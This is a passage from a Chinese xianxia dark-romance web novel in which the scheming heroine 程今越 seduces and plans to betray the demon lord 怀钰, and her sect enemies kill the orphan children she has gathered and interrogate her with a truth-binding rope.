怀钰突然从侧后拥抱着程今越,他紧紧地抱着程今越,侧这脸探着头看着程今越, 因为视线昏暗,怀钰恶劣地将脸凑近程今越,他想要看见程今越的脸,看见她的模样,她的表情。 他恶劣地用湿漉漉的食指与中指轻轻撬开程今越的嘴。 程今越皱着眉,一口咬下怀钰的手指,毫不留情。 涎水因为怀钰的捉弄,从程今越的嘴角溢出,落到怀钰的手指上。 程今越咬的力道格外地重,有血腥味隐隐一处,但他也不想将手指抽离开。 在情/欲充斥满大脑的时刻,在他快要无法呼吸的时刻,在他幸福得快要落泪的时刻,怀钰却觉得像做梦一样。 这竟然是他能够得到的爱吗? 他还想要程今越咬他的手指更用力一些,出血还远远不够,最好是咬穿他的骨头,给他的骨头留下印记,这样他就是有归属的人了,有家的人了。 如果程今越喜欢的话,他也可以把自己的手指送给程今越,但是他还不知道程今越喜不喜欢,会不会吓到她? 他喜欢这样的疼痛,这让他感觉真实。 呼吸与心跳都在此刻格外分明。 程今越轻轻打掉怀钰的手,她转了眼眸,“点灯,我也要看看你。” 怀钰愣了愣,他觉得自己一张浑身又如火烧一般,快要燃了起来。 “我身上都是伤……不好看……” “不是刚刚才说话要听我的话吗?” “又忘记了吗?” 程今越笑着。 怀钰将手紧紧攥着,指甲深深陷入肉里面,汗一点点渗开,呼吸更加沉重。 程今越的笑微微落下,此刻一道昏黄的火立刻在身旁点亮。 怀钰迅速躲开程今越的目光,“我会听话的……” 程今越看见怀钰凌乱的衣裳,像花瓣一样,随意遮掩着他的身体,微红的肌肉从中显露出来,若隐若现。 程今越缓缓倾身,从怀钰的脸开始品味与欣赏。 怀钰整个人如今就像一个物品一样在被人打量着,明明做着这样敞开门户的事情,脸却依旧紧紧咬紧牙关,黝黑的眸子沉沉的,略微染上了朦胧的颜色,他依旧像一条恶狗一样摆着一张恶劣的脸。 程今越轻轻挑起怀钰的脸,细细打量着。 她喜欢这张脸,阴翳又桀骜不驯,下巴常常高昂着,好像看不起所有人,如今却露出这样让人为难的表情。 像是坏狗被人训好了一样。 她倾身闻着怀钰身上的味道,除了那混乱又靡/乱的气息外,便是程今越身上的味道。 “怀钰是什么时候开始和我用一样的香料呢?” 怀钰微微一愣,“只是身边刚好,只有你用的那种香料而已……”他侧过头。 又担心程今越不信,他还要再添上一句话,“我怎么可能会专门用跟你一样的香料!” 怀钰一点都不会撒谎,他是个初学者。 其实他不想要这样说的,他想直白地告诉程今越,但是不知道为什么,一开口便说出了这样的话。 程今越只是轻轻笑着,“我喜欢怀钰这样。” 怀钰瞬间哑了言。 她的手指从怀钰的胸膛一路往下滑,“怀钰,看不清楚呢。” 她指着怀钰里衣的扣子,还有几颗扣了起来。 怀钰对上程今越的眼,最后看起来不情不愿地将扣子一开一开解开,就像是将花苞打开一样。 程今越看见怀钰饱满的肌肉,露出的肌肤全部透着粉红,上面还有刺眼的伤疤,狰狞地布在胸口,一道又一道。 程今越的眼眸赤裸,他看着怀钰的胸脯不断起伏,颤抖。 她很满意,简直是她玩过最满意的身体。 介于此,她会选择给怀钰留一个全尸,等怀钰死后,再把这具身体练成傀儡,日日陪伴她。 她伸出手指轻柔地抚摸着怀钰的伤疤,又痒又敏感的感觉传递至怀钰的大脑,带来一波又一波的刺激。 “疼吗?” 怀钰立马摇头,但他又想起来什么,又迅速点着头,让人不知道他到底要说什么,他显得有些窘迫。 “如果你抚摸的话,就不疼了。” 程今越笑着,“好啊。” 她倾下身,用唇轻轻吻着怀钰的伤口,湿漉漉又柔软地感觉再一次点燃怀钰的心跳,刚刚消下去的欲/望如今又如大火一样熊熊燃烧。 怀钰打断了程今越的行为,最后一把拥抱住了她。 这一刻灯被熄灭。 “程今越,你不该这样的,你没必要做到这个程度的。” “你这样我会真的觉得你爱我。” 黑暗中,怀钰的怀抱很温暖,他在她的耳边说着。 其实他最喜欢的还是拥抱,他喜欢这样温暖的感觉,他喜欢炽热的体温灼烧着皮肤的感觉,他喜欢紧紧拥抱住的感觉,好像他整个恶劣的心也被柔软地捧了起来,带着极为强烈的安全感。 他能听到程今越的心跳,与他的心跳一起砰砰撞击着。 他的体型明明比程今越大那么多,却还是将脑袋埋进她的颈窝,闭着眼,紧紧着吸吮着程今越身上的气味。 “我本来就很爱你啊。”程今越笑着,也回抱着他。 程今越还在撒谎,到了这个地步了,她居然还能撒谎。 但是怀钰这一次没有说出来,他不想管真假了。 再去寻觅真假,他会疯掉的。 程今越的心跳那么真实,程今越的眼眸那么真诚,程今越的温柔历历在目,她怎么会骗他呢? 更何况,他们还签订了血契,如果程今越欺骗他,程今越早就死了。 他难道还能不相信血契吗? 程今越说的话就是真的,他怎么可以质疑程今越呢,程今越可是如今这个世界唯一对他好的人了,他要学会成长,他从现在开始不会再质疑程今越说的一句话。 他要无条件信仰程今越,就像是凡人信仰神佛一样。 他如今便是大衍神女座下最忠诚的信徒。 程今越不知道怀钰在想什么,只是不断回味着方才的情事,她想了好久,如今终于得到了,可真是不容易。 她一遍拥抱着怀钰,一边构思着下一步该怎么做。 等到借助萧极之手,灭了大衍剑宗,她便跟随怀钰去魔族,如果怀钰听话的,魔族应该也能在她的掌握之中,她或许还可以再培养一群忠心的信徒。 有怀钰的帮助,这些魔族应该比人类还要好骗,这样她就有取之不尽的力量来源。 她可以变得更强。 她还有的是办法将这些魔族的血脉更加精进,将他们的力量更加强大。 到时候,她便要一举拿下仙界,第一个便要杀了萧极,夺下破魔铃。 最后就可以杀掉怀钰。 程今越还在想着,却感受到自己的肩膀上湿漉漉的,她感受到怀钰的哭泣声。 她怔住了,她有些无法理解怀钰的眼泪。 眼泪彰显着人的悲伤与哭泣,尽管对于程今越来说只是单纯的武器。 她已经很久没有带着情感哭过了,她都快要忘了真的哭是什么感觉了。 她不想要看到怀钰哭。 她不喜欢单纯的利益掺杂了真挚的感情,这会让她觉得有些难堪。 会让她吃掉怀钰的时候更加痛苦一点。 怀钰感动得泪流满面,为他的幸福落泪,而他其实并不知道,程今越想要和怀钰做,除了对他身体的渴望外,最重要的其实是想要杀掉他。 怀钰是魔神,天生的气息就要比其他的强大许多,他的灵根更是格外强大,若是贸然接受,就算是程今越有着长明族的血脉,一样会死掉。 最好的办法就只有两个。 一是将怀钰的五脏六腑换到她的身上来,二便是和怀钰进行情事。 一切都在程今越的掌握之中。 等到气息完全吻合之后,一拿到破魔铃,解开怀钰身上的封印,程今越便会毫不犹豫地杀掉怀钰。 程今越轻轻拭去怀钰脸上的泪,“为什么要哭呢,怀钰?” “我和在一起,不应该感到幸福和开心吗?” “不要哭好吗,我不想要看到你难过。” 她的声音温柔,一只手揉着怀钰的头,像从前一样。 “程今越,我不会放开你的,你这辈子都别想甩开我,就算是死也别想逃离我。”怀钰沉沉地说。 如果程今越想要和其他男人成婚,那他一定会将对方碎尸万段,不,他不会给任何男人靠近程今越的机会。 不,女人也不行,全部杀掉,杀掉杀掉! 他要珍藏程今越送给他所有的东西,每天都要画一副程今越的画,吃饭的、睡觉的、笑的、哭的,怎样的程今越都好美,他都要好好收藏起来。 如果程今越反悔了也不行,晚了。 他会将程今越捆起来,关起来,把世界上最好的东西都给她,让她乖乖待在自己身旁。 如果程今越想要逃跑,他就杀掉程今越在乎的所有人,他会把程今越一次又一次地抓回来,程今越就算是死,他也会将他的尸体练做傀儡,永远陪着他。 当然,程今越不可能死的,因为他会想方设法地救活他,就算是死,他们也要一起死,生生世世永不分离。 如果他死了,他会让魔族的人好好照顾好程今越。 不过,他就是变成鬼了也不会放过程今越。 光是想想,怀钰就觉得好幸福。 程今越点着头,“我也希望这样。” 等到程今越吃掉怀钰的时候,怀钰的愿望就可以完成啦。 他们会骨肉相连,比现在还要亲密,他们会永远永远在一起。 程今越喜欢痛苦,这是一种很奇怪的快感,不论是他人的还是自己的。 她喜欢看到别人的眼泪,悲伤,痛苦与挣扎,她喜欢扭曲与破碎,她喜欢看到圆满的东西被摧毁,她喜欢看到幸福的人变成疯子。 程今越爱看他人得到希望后又被摧毁,她喜欢看到他们发疯、痛哭、慌张失措的样子,所有的泪水与血肉都会让她兴奋地笑起来。 程今越已经开始期待吃掉怀钰的那天了,怀钰会露出怎样的表情呢? 应该是格外痛苦的吧。 光是想想,程今越就觉得好幸福。 第39章 定情信物。 程今越睡醒的时候浑身酸痛,感觉骨头都要散架了,外面日上三竿,竟然也没有人来唤她。 她往身旁一望,原本睡在身旁的人不知道什么时候跑了。 没事,不重要,不关她的事,她还忙得很。 她坐着愣神,醒一醒头晕,这时便看见刚刚念叨的人已经出现在了门口。 怀钰今天的穿着很亮眼,和他先前随意的打扮截然不同。 他今日穿了件暗纹深色的锦袍,玉带掐出劲瘦的腰身,*程今越记得腰间这个地方应该有她昨晚的吻痕。 墨发用银丝发冠束起,露出一截白玉似的脖颈。 他依旧是高傲地仰着头,却明显刻意放慢了脚步,只是在程今越直勾勾地盯着他的时候,那一双黝黑的眸子却不经意地躲开程今越的目光。 “神女殿下,醒了怎么都不会叫人?”他轻轻抬眉,朝程今越笑。 程今越疑惑地看着怀钰,平日里几乎是三四天方才见上怀钰一面,有时更是十天才见上一面,更多的时候怀钰都是用神识与她沟通,毕竟他待在剑宗内总是有风险,并且魔族如今刚刚统一,要做的事情还很多。 今日见了第二日又见,还是真有些不习惯。 不过程今越回忆起最近,倒还发现他们见面的频率越来越频繁了。 或者说是怀钰来见她的频率。 “其他人呢?魔神大人还真不怕被发现。”她柔柔一笑,顺着怀钰的话。 魔神大人。 怀钰嘴角忍不住微微上扬。 这是第一次听见程今越这样喊他,他心中不禁轻微荡漾,却依旧冷哼一声,轻蔑一笑,“发现我的人都死了,魔神都到你跟前了,你还不如先担忧一下你自己,神女殿下。” 程今越突然笑了起来。 “的确,我这个小小神女,自然害怕,不知道魔神大人要对我做些什么呢?” 她话是这样说,却轻笑着坐在床上,笑颜晏晏,像窗外枝头的花一样。 真讨厌程今越笑。 哼,明明笑着,心里却不知道有什么坏点子。 怀钰瞥了一眼程今越,看见程今越及腰的黑发垂落在床上,白色的单薄长裙勾勒出她瘦弱的身躯,她脸上有些苍白,眉眼淡淡的,坐在床边,白色的足垂在床上。 昨晚下了雨,殿外的海棠香透过墙浸入空气中,温柔又清冷。 怀钰躲开她的目光,“魔神当然要做魔神应该做的事。” 他径直朝程今越走来,身形挺拔高大,遮住窗外的光,却在瞬间,他蹲下了身子,单膝跪在了程今越的身前。 “神女殿下连鞋都不会穿吗?”他的尾音刻意扬起讥诮的弧度,同时一只大手却直接握住程今越的脚掌。 怀钰的手很热,甚至还有些烫,手上带着薄茧。 他右手的食指露了出来,昨日咬出的齿痕还泛着胭脂色。 这样的轻伤,按理来说,以怀钰的修为,不过是眨眼间就能恢复。 他另一只手不知道什么时候拿了一双新的鞋,做工精细,像是出自顶尖的绣娘之手。 程今越倒是不知道他什么时候去买的。 在程今越看来,怀钰这样,她会更怀疑对方在给她下毒。 怀钰低着头,垂落的额发擦过程今越的膝盖内侧,程今越故意将足弓蹦成月牙状,配合着他。 怀钰的呼吸蓦地乱了,沉沉的呼吸喘在程今越的膝间。 他先仔细地为程今越穿上冰蚕丝的罗袜,随后又穿上这双新鞋。 程今越有些惊讶,这双鞋竟然格外地合脚,但是她好像从来没有告诉过怀钰她的尺寸。 她正要开口问,却看见怀钰忽然抬眸,眼眸中带着恶劣,“神女殿下昨晚可不是这么乖啊。” 程今越却不在意地一笑,“但魔神大人昨晚很乖啊。” 怀钰嘴角的笑瞬间收住,他睨了程今越一眼,程今越嘴角的笑却更加浓烈。 程今越本来想要继续逗一逗怀钰,却怕刺激到怀钰做些什么事情,她收住了脸上的笑。 毕竟她现在还是比较劳累。 怀钰一把抓住程今越,将她从床上拽下来,程今越毫无防备,直接撞在怀钰的怀中。 怀钰抱住程今越便将她像个娃娃一样放在地面上。 怀钰不知道又从哪儿变出一身衣服,这次却没什么好气地为程今越一件又一件地穿上。 面料是世间罕见的,就连程今越都没见过,带着宛若阳光散落湖水的光晕,银线绣的九重莲纹沿着裙摆次第绽开,每一瓣花尖都缀着米粒大小的海珠。 怀钰不耐烦地将最后一颗青玉髓扣上雪狐裘领口,但指尖却不慎擦过她颈侧温玉般的肌肤。 他从头到尾看了看,“哼,一般。” 程今越像是一个娃娃一样,任由怀钰打扮着,不知道他哪里突然来的爱好,现在又要将程今越拉着坐在铜镜前,开始为程今越梳头发。 程今越不知道怀钰是什么时候去给她定做的这套衣服,这样名贵的面料想来也是要寻找很久,制作工艺看起来也十分繁琐的样子,一套流程下来怕是最快都要等上几个月。 更让程今越疑惑的是,这身衣服是如此适合程今越,无论是款式还是尺寸。 怀钰是什么时候知道了她的身材的尺寸? 从胸,再到腰,臀,身高,甚至到脚掌。 “这是魔神大人送给我的礼物吗?想来也是从很早以前开始准备了,今越谢过大人了。”她笑。 “少自作多情,给你的东西哪里需要很早就开始准备,不过是随手准备的罢了。” 怀钰用带着薄茧的手指穿梭着程今越的头发,格外细长的手指显得十分灵活。 “魔神大人,今越很喜欢这个礼物呢。”她侧过头对着怀钰笑。 “别乱动,再乱动我就用这根簪子戳穿你的头。” 怀钰没好气地将那一支白玉簪子插进程今越的发髻之中。 他松开程今越,“好了,连自己都不会打扮的废物。” 怀钰转身就要走,程今越却一下子拥入他的怀中。 怀钰的耳根瞬间红了一起,“倒也不用这样感谢我。” 但他却也没有推开程今越。 “这原来就是魔神大人对我做的事情吗?” “我好喜欢。” 程今越在怀钰的怀中,听见怀钰的心跳跳得格外的快。 “没什么好喜欢的,这有什么好喜欢的,不过是一些很平凡的东西罢了,我怎么可能给你很好的东西。”他别过头。 “不过是我随手做的罢了……” 怀钰的声音瞬间低了下来。 程今越有些惊讶,她从来不知道怀钰还会做衣裳。 “我身上穿的戴的,都是怀钰亲手做的吗?” 程今越眼睛亮亮的,她踮起脚,轻轻地亲了亲怀钰的嘴角。 怀钰面上烦躁地轻轻退了退程今越,却还是没将程今越推开。 “你的话怎么那么多!” 清晨的房间中却不知为何闷热起来。 没等程今越说其他的话,怀钰便在瞬间离开了屋子。 程今越身上还残留着怀钰的体温,她看着自己身上这身衣服,心中却别有一番滋味。 这样的做工,对于正常人来说,绝对不是一朝一夕能够练成的,少说也是十年的功夫才能做到如此程度。 而做这样一套的衣裳,更是不知道要花费多久的时间。 那怀钰是什么时候做的呢? 按照怀钰的天赋,怕是只要几天时间就能做好了,果然是世间数一数二的魔种,拥有几乎天下第一的悟性。 天才就是跟其他人不一样啊。 程今越嫉妒天才。 如今天才却屈居于她的身下,成为了她的信徒。 但这样可远远不够。 她心中冷哼,等她杀了怀钰,夺得他的灵根,她自己就是天才了。 世间哪里容得下那么多天才。 而做下这身衣服的天才,昨日却在程今越的身旁,毫无困意,格外精神。 他浑身燥热,像个蠢货一样,不敢动弹,无论怎样都睡不着。 只要一想到程今越睡在怀钰身旁,他从头到尾都格外僵硬,体温格外地高,像是被火烧一般,与程今越接触过的肌肤全部都灼热滚烫。 程今越很乖地躺在他的怀里,竟然没有一丝防备心,带着香味的头发不断缠绕在他的胸间。 他可是魔! 随时都会杀人的魔! 程今越这个蠢货怎么可以这么轻松地在他怀里入睡! 可他偏偏像是被施了定身术一般,完全不敢动弹,他害怕吵醒程今越,毕竟她本来就有伤在身,本来就应该好好休息。 怀钰脑子里一片混乱,和程今越的回忆一次又一次地在他脑海里重现。 他思绪开始纷飞,忍不住想象着和程今越的以后。 他从最初的相遇一直回忆到今天,他记得他的记忆也不算特别好,他从来不会在乎与周围的人的过往,甚至还会刻意忘记。 可和程今越的回忆,就连所有细节,怀钰都记得一清二楚。 他已经开始想象程今越和他回到魔界之后,他们每天应该做些什么,他应该怎么和程今越相处呢。 他在脑海里想了无数遍结果。 程今越喜欢什么呢,他应该要准备程今越喜欢的东西吧? 他看过话本子,男子都会给女子送一些礼物什么的。 这个好像是叫,定情信物吧? 但是程今越喜欢什么呢? 怀钰突然发现,他好像根本不清楚程今越的喜好。 程今越就像真的神佛一样,无欲无求,她好像什么都喜欢,却没有最喜欢,好像什么都可以。 终于等到程今越翻了个身,怀钰终于得到解脱。 他立马坐起来,一瞬间消失在黑夜之中,走前还轻轻地将程今越的被子掖好。 他身上的衣服就是程今越送的,那他给程今越也送身衣服好了。 一晚上,足矣。 第40章 挑衅。 怀钰的事只是在程今越脑子里面过了一下便结束了。 经历上次刺客入侵与魔物骚乱后,大衍剑宗实力有所损失,可具体损失了多少,其实外界并不清楚。 不过剑宗的大公子突然抱恙,已大半月未曾露面,以程望这种嚣张跋扈的性格,倒是格外少见。 彼时又传来大衍剑宗要与无定界联姻的消息,这下更是让人议论纷纷,众人不禁心中揣测。 宗主程旭忙着修补结界,对外迂回盘旋,宗主夫人李从霜又安排了一场宴席想让程蕴知出面,安慰众人之心,未曾料到却闹得不欢而散,让大衍剑宗更是颜面扫地,如今宗内的气氛有些压抑。 但这一切和程今越有什么关系呢? 程今越如今正在司医宫的内院,坐在演习场的高台,看着她新养的孩子们向她展示剑术。 程今越上一次受伤后,司医宫的孩子就不见了很多。 但是有些天赋但没有家世的孩子可是有很多的,一抓一大把,这些孩子大多没有什么戒备心,只需要温柔的笑,几碗热饭,他们就会乖乖地跟程今越走。 演习场的人换了一批又一批,但唯独坐在高台的程今越不变,她脸上的笑不变,孩子们对她的崇拜与忠心不变。 领事王青生恭敬地站在程今越身旁,为她端着还未喝完的药。 意气风发的少年将最后一个对手打败后,欣喜地朝程今越走来,跪在程今越的身前,“三小姐!” 这个少年没有名字,程今越给他取名为阿年。 阿年得到这个名字后分外开心,他四处向周围的人炫耀着,他得到了大衍神女的赐名,他此生将会充满福气,充满幸运,他将永远被神女庇佑着。 他将这好消息也告诉了他还在人间的朋友,所有人都无不羡慕。 在他的故乡,大衍神女无人不知,无人不晓,她慈悲善良,造福苍生,四处都是大衍神女的庙宇。 果不其然,在得到这个名字后,他的修为飞速进步,如今竟然能打败司医宫其他所有的孩子! 尽管他日夜勤加修炼,但阿年相信,这定然不是他的努力造就的,如果没有神女殿下的庇佑,他是无法做到的。 其余的孩子格外羡慕,纷纷抛弃了自己的名字,请求神女殿下赐名。 却被领事王青生拦在身前,“三小姐的赐名,哪是人人都能得到的,只要你们勤加练习,自然会得到三小姐青睐。” 司医宫的人被程今越全部换了一批,如今已经没有人记得司医宫曾经还有一个阿年了。 只有王青生知道,这已经是不知道第多少个阿年了。 只要出众的人,都会被程今越赐名为阿年。 阿年一定会死,但他死后将会有新的阿年出现。 但王青生是聪明人,他只是什么该说什么不该说,因为如果他说了,那就会有一个新的王青生来顶替掉他。 程今越笑着从台上走下去,走到孩子们的中间。 十几岁的少年们看着传闻般神女走到自己面前时,所有人都心跳加速,心潮澎湃。 程今越黑色的长发被风吹着,这些少年已经快比她要高了。 她笑着将自己带来的糕点亲手分发给孩子们。 “三小姐,等我长大了,我一定要像师兄师姐那样保护你!” “三小姐,这是我为您做的花环……希望三小姐喜欢!” “我不吃糕点了,三小姐给我们吃了,都没有留给自己呢,我想要三小姐每天都能吃上糕点!” “我也是,我也是!” …… 程今越轻笑着,从生活中的趣事聊到谁的生日,从花草树木聊到宗内的小猫,她没有一丝架子,温柔又亲和,却让所有人不敢随意拥抱她,不敢亵渎她。 “大家都好厉害,明日就有一个考核,通过考核的人就可以进入剑宗啦,谁想参与呢?” 她笑着。 所有人都踊跃着举着手,只有王青生站在最后,微微低头。 他知道,这一批的孩子马上要被使用了,他要替三小姐去寻觅新的种子了。 正在院内格外喧闹之时。 几道不紧不慢的脚步声从院外走来。 所有人都朝那个方向望去。 四五个弟子跟随在一个女子的后面。 程今越知道这个人,这是李从霜的大弟子,落烟。 李从霜在还未嫁给程旭之前,也是出身名门的大小姐,剑道天赋名冠世间,来到大衍剑宗后依旧教授宗内众多弟子。 落烟便是李从霜的亲传大弟子,修为不可小觑。 落烟身上是仙门弟子身上的正统气质,她的话不多,眉眼中却带着隐约的高傲。 在见到程今越的第一面,她直直地看着程今越,将院中的孩子都扫了一眼,随后才慢慢地朝程今越作揖行礼。 “见过三小姐。” 程今越微微点头,却也没有开口。 孩子们从来没有见过司医宫之外的人,过了好久才在王青生的提示下朝落烟齐齐下跪行礼。 一群人乌压压地跪了一片,可落烟却迟迟不开口。 气氛有些压抑,落烟只是看着程今越。 “许久不曾见落烟姑娘了。”程今越打破了沉寂。 落烟笑着,“是啊。” 见到落烟开口,有的孩子疑惑地抬起头,好奇地瞥了一眼落烟。 他们都没有学过剑宗的礼仪,以为这样便能够起身了,于是一个起身,其他人也稀稀拉拉地站起来。 但就在此时,落烟身后的弟子却突然动手,只是呼吸间,最先起身的孩子便瞬间尸首异处,鲜血一瞬间爆开,尖叫声炸开,快要刺穿人的耳朵。 “张裕死了!他死了!呜呜——”哭泣声随之传来。 “保护三小姐!” “对,保护三小姐,杀了他们这些坏人!” 哭泣声中,阿年的声音很突出,所有人都反应过来,此刻最重要的是保护三小姐,保护同伴,杀了眼前这些恶毒的人。 “不要——”程今越连忙阻拦,可是一切都晚了。 这些孩子哪里是修为深厚的弟子的对手,不过是呼吸之间,几道剑光袭来,一群活生生的人就在瞬间被斩成了碎块。 血如河一样在地上流淌着,鲜血染红了程今越浅色的裙子,溅到了程今越的脸上。 可落烟却不想把所有的孩子杀掉,她重伤了几人,手一挥,几根绳子将仅仅活下来的几个人捆住,连声音都无法发出,只有眼泪混合着血液在流淌。 程今越惊恐地抱着在地上的人,泪水瞬间从她的脸上奔涌而出。 “你们做什么!” “你们在杀人!” 她连忙用那微弱的法力,试图去修复那些破碎的身躯,可一切都是徒劳,她的法力过于微弱,在鲜血面前是那样无力。 她懂了,原来这是来给她下马威来了。 落烟颜色冷淡,看着程今越的悲恸,却无丝毫动容,反而走到程今越身前,轻笑道,“三小姐,这些人出身粗鄙,不过是些凡人,你私自收留他们,本就违背了剑宗的规矩,本就是大错。” “如今魔物动荡,在我剑宗之中亦有奸细,而这些凡人并没有通过我剑宗验仙石的测验,您又该如何保证这些孩子不是魔族的奸细呢?” “您贵为剑宗掌门之女,便更要守规矩,如若这些人之中正有魔族奸细,那您怕是要落下一个勾结魔种的罪名,就不好了。” “更何况,若是届时与魔族里应外合,我等剑宗弟子又该如何呢,他们的死伤,难道三小姐并不在乎,也并不心疼吗?” 落烟一连串的话下来,却也挡不住程今越的泪,她哭得哀绝,一边红着眼看着落烟。 落烟心中冷笑,程今越果然和她知道的一样,身无修为,软弱无能,看着真是晦气,这样的人竟然是掌门之女,果然和师父说的一样,是个白眼狼。 外表装得柔弱,其实骨子里全是坏心思,就想要祸害剑宗。 “那日宴席后,其余宾客归途中,皆遭遇魔族袭击,惨遭毒手,这一切,不知道三小姐是知道不知道呢。” “知道是二小姐的宴席,有人却存心让她颜面尽失,三小姐,您说这人是不是心思歹毒极了啊?” 落烟从小看着程蕴知长大,多有心疼她,知道此事时心中更是格外气愤。 她从来没有想过竟然有程今越这样歹毒的人! 程今越愣愣地看着她,“我不知道竟然还有这样的事情发生……” 程今越用手捂着双眼,哭得嘶哑,“怎么会这样……” “别哭了,三小姐,我师父请你过去一趟。” 她嫌恶地看着程今越。 没有等程今越的回答,那几个跟在身后的弟子直接将程今越强行带走。 落烟在程今越的耳边道:“三小姐,我奉劝您一句,人还是贵在有自知之明。” “哦,我说话比较直接,您可千万不要放在心上。” 程今越一边哭着应着,心中却了然地笑。 原来是李从霜的狗来找她算账了啊。 狐假虎威的东西。 但是程今越不能动手,她清楚地知道,现在还不是时机。 示弱,才是最好的解决方法。 她这一路上受过无数冷眼,身上全是伤。 落烟这样的话早就已经不能对她的情绪荡起一丝波澜。 她轻轻记住了落烟的脸庞。 她会对她多多关照。 这些人修为极高,她感受到了熟悉的气息。 如果没有记错,这里是程望的宫殿。 她被带到大殿之中,程今越抬头便看到了李从霜。 她收起脸上的泪,颤颤巍巍地朝李从霜作揖行礼。 没有说一句话,李从霜朝程今越走近。 “啪——” 狠狠地一巴掌落到了程今越的脸上。 “为什么死的不是你啊,程今越!”【魔蝎小说 mo xie xs .c om】 40-50 第41章 杀了程今越! 这一巴掌力道极大,带着李从霜汹涌的怒意。 程今越感觉到有腥甜味从喉间涌出。 以李从霜的功力来说,想要弄死程今越,简直就是轻而易举,可惜程今越如今还不能死,她还必须要容忍下去。 程今越连忙慌张地朝李从霜跪下,她泪流满面,“夫人!” “请夫人告诉今越,今越是哪里做错了。” 最初的时候,李从霜还让程今越唤她娘亲,因为程今越几乎没有修为,性格也乖巧柔弱。 对于这样的人,最好的方法便是笼络她,形成还算不错的关系,让对方心甘情愿地为她做事。 毕竟程今越身上有着长明族的血脉,这一身的血实在是太珍贵了,李从霜还不太想让这样的珍宝落到其他人的手里,更不想程今越就这样死去。 可接触下来,李从霜便发现程今越的柔弱并不像表面上看起来那么简单。 其实程今越所有的伪装都很好,她的言语、神态、表情,根本看不出来有任何的异常,完全就是一个只想活下去的,坚韧的,温柔善良的女子。 可渐渐地,李从霜发现,大衍剑宗越来越多人信服与敬佩她,她的名声在人间也越来越大。 李从霜察觉得很快,于是她立马唤人传播程今越的负面信息,甚至叫人专门去寻她的麻烦,但无一例外,全部都被程今越完美地解决掉,甚至她手中的人都被程今越所笼络,在她下达命令的时候,还会对她的决定产生疑惑,帮程今越说好话。 更为重要的是,她的亲女儿,程蕴知,不知从什么时候开始,完全依赖上了程今越。 就连程望也想要程今越的管理权,她注意到,程望的许多时间都放到了程今越身上。 她的一双儿女都在被程今越吸引。 程今越有着恐怖的,洞悉人心的力量,她太过聪明。 这样的人格外恐怖,李从霜绝对不能留下程今越。 但是她却不能杀掉程今越,因为程今越的血格外有用。 自从程蕴知受伤之后,她便整日以泪洗面,找遍了全天下的名医都无法医治程蕴知的病,而程蕴知的性格也随之变得越发扭曲。 但程今越却的的确确能治程蕴知的病。 所有她不能死。 李从霜出身名门,无论是出嫁前的大小姐,还是出嫁后的大衍剑宗夫人,从家世,容貌,实力,她都是别人眼中高不可攀的人。 所以李从霜性格耿直,从来不会隐藏。 一旦偏见产生,便无法改变。 李从霜对程今越的态度一天一天恶劣,可偏偏程今越洞察得那么快,甚至没等她开口,她便已经学会对她更加毕恭毕敬,更加懂事地孝顺李从霜。 有时候,李从霜也在想,自己是不是误会了程今越。 但直觉告诉她,没有。 直到程今越开始利用程蕴知,可当她向程蕴知警告程今越的时候,却被程蕴知愤怒地指责。 甚至没有任何人相信她,没有任何人相信程今越会害大衍剑宗。 李从霜彻底下定了决心,程今越必须要死。 李从霜低头看着程今越,她低头睨着。 “程今越,我真是厌恶你这一张伪善的面孔,我已经忍耐了你很久很久了。” “可是你偏偏想要对蕴知下这样的毒手!” 程今越摇着头,泪眼婆娑,“我待姐姐从来都是真心,姐姐待我那样的好,我为何要对姐姐下毒手呢?” “我知道今越人微言轻,但姐姐定然能为我作证,剑宗的大家都能为我作证。” 她哽咽着,可李从霜却抬手就又给了她一巴掌。 李从霜气得直喘。 “我真是不知道你用了什么术法,让剑宗那么多人都信任你,让我的女儿对你死心塌地!” “你也知道蕴知对你好,那你为何要故意引导她,在众人面前出丑?” “你明明清楚蕴知的性格,除了为你出头,她又怎么会在那样的场合下,在那么多贵女前出丑!” 程今越哭着,一边喘着气。 脸上的疼痛没有让她心中有任何怨气,她看见李从霜越气,她便越开心。 她不知道李从霜是怎么发现她的,但是那又有什么用呢? 有本事李从霜就杀了她,有本事她不想要程蕴知的伤好起来。 李从霜挥挥手,只见几个弟子拿着锁仙绳,立刻就将程今越捆住。 锁仙绳是司刑宫的东西,只有弟子犯下严重错误的时候才会使用锁仙绳。 程今越心中微动,竟然已经恨她恨到了这种程度了吗? 一旦被锁仙绳捆上,一身的灵力便无法使用,神识与**都会遭受巨大的痛苦。 而如果只是这样,那它只是司刑宫内一件平平无奇的法宝。 最重要的是,被锁仙绳捆住的人,行刑人能够问此人三个问题,而被锁仙绳捆住的人则必须说实话,否则便会面临巨大的痛苦折磨,魂魄被锁仙绳绞杀,即刻死亡。 锁仙绳捆住程今越的瞬间,撕心裂肺的疼痛从全身每个毛孔蔓延开来,她的头快要疼到裂开,几乎快要无法思考。 冷汗从她的额头渐渐冒出,她的一张脸苍白得如雪一样,鲜血从她的喉间涌出,滴落在她的身上,和那群孩子的血融合在一起。 “说,是不是你陷害的蕴知!” 这是第一个问题。 可惜,猜错了。 程今越摇摇头,剧烈的疼痛让她只能从喉间挤出两个字,“不是……” 程今越没死,李从霜皱着眉。 竟然不是程今越做的? 落烟远远地看着程今越,锁仙绳动用的次数极少,她也没有见过几次。 不过她记得很清楚,上一次使用捆仙绳的时候,或许是过于疼痛,被捆的那个人疯狂地大叫,浑身抽搐着,而后当场就七窍流血,还没问问题便被巨大的疼痛折磨地直接死去。 而程今越灵力微弱,竟然能做到一声不吭。 她忍不住多看了程今越两眼。 程今越已经熟悉了这样的疼痛,她的大脑开始变得清晰起来。 她此生经历的折磨,比司刑宫见过的刑罚都多。 这算什么? 还以为有什么厉害的。 “哼!” 李从霜冷哼,她站在程今越身前,看着已经被疼痛折磨得瘫倒在地的程今越。 “程今越,你的狼子野心我都已经清楚了。” “当初就不该心软,让你去人间带些凡人回来,这些哪里是凡人,程今越,你明明就是在私通魔族!” 程今越心中微愣,她做的事情自然不会是滴水不漏。 但,对付李从霜,还绰绰有余。 程今越哭着,拼命地摇着头。 “你来了剑宗短短几年,剑宗外的魔族便在不断繁衍成长着,想必你筹谋许久了。” “上一次寿宴,魔族竟然能涌入我宗内,残害我弟子无数,对我宗内情况无比熟悉,定然是有奸细作为内应。” 她说着,又死死地盯着程今越,“而你养的那些凡人,我早就观察了许多,每隔几个月,他们都会凭空消失,只有极其少数地活了下来,被你塞入到了剑宗之中。” 没有想到李从霜这么闲,为了调查她,连自己最看不起的凡人都观察上了。 “程今越,你说,这些人为何会突然就凭空消失,没有任何踪迹呢?” 她讥笑着。 